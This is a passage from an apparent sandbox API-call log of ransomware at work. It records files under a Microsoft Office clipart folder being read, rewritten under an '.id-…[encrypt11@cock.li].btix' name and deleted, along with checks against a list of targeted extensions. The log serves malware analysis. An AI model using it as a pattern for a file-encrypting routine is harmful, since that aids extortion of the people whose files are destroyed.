Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.911] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.911] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.255] GetLastError () returned 0x0 [0149.255] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1b16, lpOverlapped=0x0) returned 1 [0149.256] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0149.257] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.257] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.257] SetEndOfFile (hFile=0x380) returned 1 [0149.257] CloseHandle (hObject=0x380) returned 1 [0149.257] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.257] SetEndOfFile (hFile=0x37c) returned 1 [0149.258] CloseHandle (hObject=0x37c) returned 1 [0149.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.259] lstrlenW (lpString=".doc") returned 4 [0149.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString=".docx") returned 5 [0149.259] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0149.259] lstrlenW (lpString=".pdf") returned 4 [0149.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString=".xls") returned 4 [0149.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.259] lstrlenW (lpString=".xlsx") returned 5 [0149.259] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0149.259] lstrlenW (lpString=".ppt") returned 4 [0149.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.259] lstrlenW (lpString=".zip") returned 4 [0149.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.259] lstrlenW (lpString=".rar") returned 4 [0149.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString=".bz2") returned 4 [0149.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString=".7z") returned 3 [0149.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.259] lstrlenW (lpString=".dbf") returned 4 [0149.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.259] lstrlenW (lpString=".1cd") returned 4 [0149.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.259] lstrlenW (lpString=".jpg") returned 4 [0149.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.260] lstrlenW (lpString=".doc") returned 4 [0149.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString=".docx") returned 5 [0149.260] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0149.260] lstrlenW (lpString=".pdf") returned 4 [0149.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString=".xls") returned 4 [0149.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.260] lstrlenW (lpString=".xlsx") returned 5 [0149.260] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0149.260] lstrlenW (lpString=".ppt") returned 4 [0149.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.260] lstrlenW (lpString=".zip") returned 4 [0149.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.260] lstrlenW (lpString=".rar") returned 4 [0149.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString=".bz2") returned 4 [0149.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString=".7z") returned 3 [0149.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.260] lstrlenW (lpString=".dbf") returned 4 [0149.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.261] lstrlenW (lpString=".1cd") returned 4 [0149.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0149.261] lstrlenW (lpString=".jpg") returned 4 [0149.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.261] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.261] lstrlenW (lpString="J0099157.JPG") returned 12 [0149.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.261] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=9671) returned 1 [0149.261] CloseHandle (hObject=0x37c) returned 1 [0149.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220 [0149.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.261] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.262] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.262] GetLastError () returned 0x0 [0149.262] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x25c7, lpOverlapped=0x0) returned 1 [0149.263] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x25d0, lpOverlapped=0x0) returned 1 [0149.266] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.266] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.266] SetEndOfFile (hFile=0x380) returned 1 [0149.266] CloseHandle (hObject=0x380) returned 1 [0149.266] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.266] SetEndOfFile (hFile=0x37c) returned 1 [0149.267] CloseHandle (hObject=0x37c) returned 1 [0149.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0149.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.268] lstrlenW (lpString=".doc") returned 4 [0149.268] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.268] lstrlenW (lpString=".docx") returned 5 [0149.268] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0149.268] lstrlenW (lpString=".pdf") returned 4 [0149.268] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.268] lstrlenW (lpString=".xls") returned 4 [0149.268] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.268] lstrlenW (lpString=".xlsx") returned 5 [0149.268] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0149.268] lstrlenW (lpString=".ppt") returned 4 [0149.268] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.268] lstrlenW (lpString=".zip") returned 4 [0149.268] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.268] lstrlenW (lpString=".rar") returned 4 [0149.268] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.268] lstrlenW (lpString=".bz2") returned 4 [0149.268] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.268] lstrlenW (lpString=".7z") returned 3 [0149.268] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.268] lstrlenW (lpString=".dbf") returned 4 [0149.268] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.269] lstrlenW (lpString=".1cd") returned 4 [0149.269] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.269] lstrlenW (lpString=".jpg") returned 4 [0149.269] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.269] lstrlenW (lpString=".doc") returned 4 [0149.269] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.269] lstrlenW (lpString=".docx") returned 5 [0149.269] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0149.269] lstrlenW (lpString=".pdf") returned 4 [0149.269] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.269] lstrlenW (lpString=".xls") returned 4 [0149.269] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.269] lstrlenW (lpString=".xlsx") returned 5 [0149.269] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0149.269] lstrlenW (lpString=".ppt") returned 4 [0149.269] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.269] lstrlenW (lpString=".zip") returned 4 [0149.269] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.269] lstrlenW (lpString=".rar") returned 4 [0149.269] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.269] lstrlenW (lpString=".bz2") returned 4 [0149.269] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.269] lstrlenW (lpString=".7z") returned 3 [0149.269] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.269] lstrlenW (lpString=".dbf") returned 4 [0149.270] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.270] lstrlenW (lpString=".1cd") returned 4 [0149.270] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0149.270] lstrlenW (lpString=".jpg") returned 4 [0149.270] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.270] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0149.270] lstrlenW (lpString="J0099158.WMF") returned 12 [0149.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.270] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=26160) returned 1 [0149.270] CloseHandle (hObject=0x37c) returned 1 [0149.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0149.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.271] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.271] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.271] GetLastError () returned 0x0 [0149.271] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x6630, lpOverlapped=0x0) returned 1 [0149.272] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x6640, lpOverlapped=0x0) returned 1 [0149.274] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.274] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.274] SetEndOfFile (hFile=0x380) returned 1 [0149.274] CloseHandle (hObject=0x380) returned 1 [0149.274] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.274] SetEndOfFile (hFile=0x37c) returned 1 [0149.275] CloseHandle (hObject=0x37c) returned 1 [0149.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0149.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.275] lstrlenW (lpString=".doc") returned 4 [0149.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.275] lstrlenW (lpString=".docx") returned 5 [0149.275] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0149.276] lstrlenW (lpString=".pdf") returned 4 [0149.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.276] lstrlenW (lpString=".xls") returned 4 [0149.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.276] lstrlenW (lpString=".xlsx") returned 5 [0149.276] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0149.276] lstrlenW (lpString=".ppt") returned 4 [0149.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.276] lstrlenW (lpString=".zip") returned 4 [0149.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.276] lstrlenW (lpString=".rar") returned 4 [0149.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.276] lstrlenW (lpString=".bz2") returned 4 [0149.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.276] lstrlenW (lpString=".7z") returned 3 [0149.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.276] lstrlenW (lpString=".dbf") returned 4 [0149.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.276] lstrlenW (lpString=".1cd") returned 4 [0149.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.276] lstrlenW (lpString=".jpg") returned 4 [0149.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.276] lstrlenW (lpString=".doc") returned 4 [0149.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.277] lstrlenW (lpString=".docx") returned 5 [0149.277] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0149.277] lstrlenW (lpString=".pdf") returned 4 [0149.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.277] lstrlenW (lpString=".xls") returned 4 [0149.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.277] lstrlenW (lpString=".xlsx") returned 5 [0149.277] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0149.277] lstrlenW (lpString=".ppt") returned 4 [0149.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.277] lstrlenW (lpString=".zip") returned 4 [0149.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.277] lstrlenW (lpString=".rar") returned 4 [0149.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.277] lstrlenW (lpString=".bz2") returned 4 [0149.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.277] lstrlenW (lpString=".7z") returned 3 [0149.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.277] lstrlenW (lpString=".dbf") returned 4 [0149.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.277] lstrlenW (lpString=".1cd") returned 4 [0149.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0149.277] lstrlenW (lpString=".jpg") returned 4 [0149.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.277] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0149.277] lstrlenW (lpString="J0099159.WMF") returned 12 [0149.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.278] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=27546) returned 1 [0149.278] CloseHandle (hObject=0x37c) returned 1 [0149.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220 [0149.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.278] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, 